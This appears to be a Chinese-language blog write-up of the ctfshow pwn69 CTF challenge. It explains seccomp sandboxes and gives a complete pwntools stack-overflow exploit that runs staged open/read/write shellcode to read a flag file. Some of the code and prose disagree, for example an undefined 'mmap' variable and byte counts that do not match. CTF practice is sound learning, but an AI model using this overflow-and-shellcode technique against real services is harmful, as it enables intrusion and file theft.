yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn69

pwn69

ctf.show pwn69

目录


题目

预计时间

6h

题目分析及截图

ORW是什么

​ 当题目不允许直接执行/bin/sh(例如进制execve,过滤ROP,沙箱只允许有限syscall),但是你仍然需要读取服务器上的某个Flag文件,就必须靠syscall来完成

  1. open(“flag”, O_RDONLY)

    打开flag文件,获得文件描述符

  2. read(fd,buf,size)

    读取flag内容到缓冲区

  3. wirte(1,buf,size)

    输出到标准输出

什么是沙箱?

​ 沙箱指一种”限制程序能力的隔离环境”,让程序即使被攻击,也只能做非常有限的事情,不能危害系统。简单说,就是限制程序,只能做白名单里的操作

​ 在pwn中最常见的就是 seccomp 沙箱 全称(Secure Computing Mode),它是Linux内核提供的一种”系统调用级别”的安全机制,用来限制进程可以调用哪些syscall。

​ 我们可以使用工具 seccom-tools 来分析 seccomp沙箱,列出程序允许的系统调用

安装的教程很多,我这里不再说了

介绍一下使用方法: seccomp-tools dump ./pwn


我们反编译看一下程序的代码

  1. main函数
1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}
  1. sub_400949()函数
1
2
3
4
5
6
7
8
9
10
11
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}
  1. sub_400A16()函数
1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}
  1. sub_4009EE()函数
1
2
3
4
void sub_4009EE()
{
__asm { jmp rsp }
}

  1. 在函数main中

​ mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);这个函数的作用就是从 0x123000 这个地址开始的 0x1000个字节,给它 写和执行的权限。

​ mmap这里的4代表执行,2代表写,1代表读。这里4就是可执行,2就是可写(4+2=6)

  1. 在函数sub_400A16()中

​ char buf[32]定义了一个0x20字节的缓冲区buf

​ read(0, buf, 0x38uLL) 这里是很有可能发生栈溢出的,因为我们定义的buf的缓冲区空间只有0x20字节,但是这里

我们可以读入0x38字节字符,是很危险的。但是我们就是通过这里的栈溢出去进行攻击的

  1. 在函数sub_400949()中

    我们可以看到 seccomp 这可以说是沙箱的标志

    我们使用seccomp-tools工具来查看我们执行的系统调用有哪些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
yyh@yyh:~/pwn69$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

可以看到程序可以调用 open,read,write函数

所以我们可以利用栈溢出进行ORW来攻击

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.arch = "amd64"
p = remote('pwn.challenge.ctf.show', 28131)

addr_mmap = 0x123000
jmp_rsp = 0x400A01
#orw
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
shellcode = asm(orw_shellcode)

#payload
payload = asm(shellcraft.read(0,mmap,100))
payload += asm("mov rax,0x123000;jmp rax")
payload = payload.ljust(0x28, b'a')
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

p.recvuntil("do")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

我感觉这个payload挺难理解的。我讲一下我疑惑的点

  1. Q:在payload = asm(shellcraft.read(0,mmap,100))它的意思是什么,我们往mmap中读入的是什么?

    A:这句的意思是:从标准输入中读取256字节数据到mmap地址,而我们往mmap读入的是:第二次发送的 ORW shellcode

  2. Q:payload = asm(shellcraft.read(0,mmap,100)) payload += asm("mov rax,0x123000;jmp rax")实现了什么功能?

    A:一句话总结 从标准输入(文件描述符0)读取0x100字节数据,
    写入到内存地址0x123000(mmap)

  3. Q:payload = payload.ljust(0x28, b'a')这里的=换成+=有什么影响?为什么我前面已经填充了很多字节的shellcode了但是还是需要填充缓冲区0x28字节,他不会造成溢出吗?而且返回地址这些偏移也会不准确?

    A:这两个写法的关键区别在于ljust的对象不同,导致最终payload的布局完全不一样。

    • 首先 第一种 写法

      1
      2
      3
      4
      payload = asm(shellcraft.read(0,mmap,100))
      payload += asm("mov rax,0x123000;jmp rax")
      payload = payload.ljust(0x28, b'a')
      payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

      这种写法是正确的,它是对整个payload进行ljust到0x28,并不是追加0x28字节的a,而是加以来(连带payload)一共是0x28字节,即确保我覆盖到栈上返回地址之前的位置

    • 第二种写法

      1
      2
      3
      4
      5
      payload = asm(shellcraft.read(0,mmap,100))
      payload += asm("mov rax,0x123000;jmp rax")
      payload += payload.ljust(0x28, b'a')
      payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

      这种写法是将 0x28字节a 再次追加到原payload后面。

      这会导致:

      1. 长度完全错了

      2. 栈偏移完全不对

      3. 覆盖不到正确的RIP

      4. 触发不了ROP

      这不是我们想要的结果,是逻辑错误

      这个问题困扰了我好长时间,如果你也不太理解,建议可以问一下gpt,我是问了他才知道的,ds感觉说的不太准确

  4. Q:payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")实现了什么功能?这里为什么是0x30?

    A:首先这个jmp_rsp是我们的返回地址。我们为什么要返回栈顶,其实不难理解。
    我们在buf里输入我们的shellcode,返回栈顶就是去执行它嘛,然后跳转到mmap执行我们的ORW。
    但是为什么要sub rsp, 0x30?这个30是哪里来的?

    当我们执行到jmp rsp时,rsp刚好指向save rbp后面的8字节

    当ret跳到jmp rsp时:RSP指向的是save RIP后面的”下一段栈空间”,也就是payload中 0x28+8=0x30

  5. Q:我们明明先发的shellcode就是

    1
    2
    payload = asm(shellcraft.read(0,mmap,100)) 
    payload += asm("mov rax,0x123000;jmp rax")

    那么最后为什么我们还需要将rsp指向这里呢?我们不是已经执行过了吗?

    A:因为它并不是自动执行的,它只是放到了栈上还没有执行。我们必须使用 **ROP gadget(jmp rsp)**才能让CPU去自动执行。

    如果没有 jmp rsp:

    • 程序不会跳到你写入栈上的shellcode
    • 程序只会 ret 回原本的函数->导致程序崩溃
    • 我的shellcode不会执行

    简单两句话解释 :

    • stage1 shellcode(read + jmp mmap)只是你写在栈里的内容,不会自动运行。

    • ret → jmp_rsp → jmp rsp 才能把执行流跳到栈上的 shellcode。

  6. Q:在 ORW_shellcode 中 shellcraft.read(3,mmap,100),这里面的3是什么?我们往mmap中读入的是什么?

    A:

    • 这个3是文件描述符fd,为什么是3?

      fd = 0(stdin)

      fd = 1(stdout)

      fd = 2(stderr)

      所以第一个可用的文件描述符fd通常是3

    • 那么我们往mmap中读入的是什么?

      因为第一步是open /ctfshow——flag,所以这里我们是读入文件最多100字节

  7. Q: write(1,mmap,100) 实现什么功能?

    A:写到 stdout ,让我看见flag

​ 其实到这里已经很清楚了,用我的大白话来说,本道题的思路就是在buf缓冲区中注入shellcode,这个shellcode的作用就是读取ORW_shellcode到mmap(因为buf的缓冲区太小了不足以放下ORW_shellcode),接着跳转到这里。然后我们填满栈偏移直至0x28字节,使用rsp执行我们的shellcode跳转到mmap,执行ORW shellcode 获得flag

​ 这道题我认为比较有难度,但是虽然这道题很难,但你已经走得很远了,坚持一下,肯定能攻克它!

​ 希望可以帮到你,加油!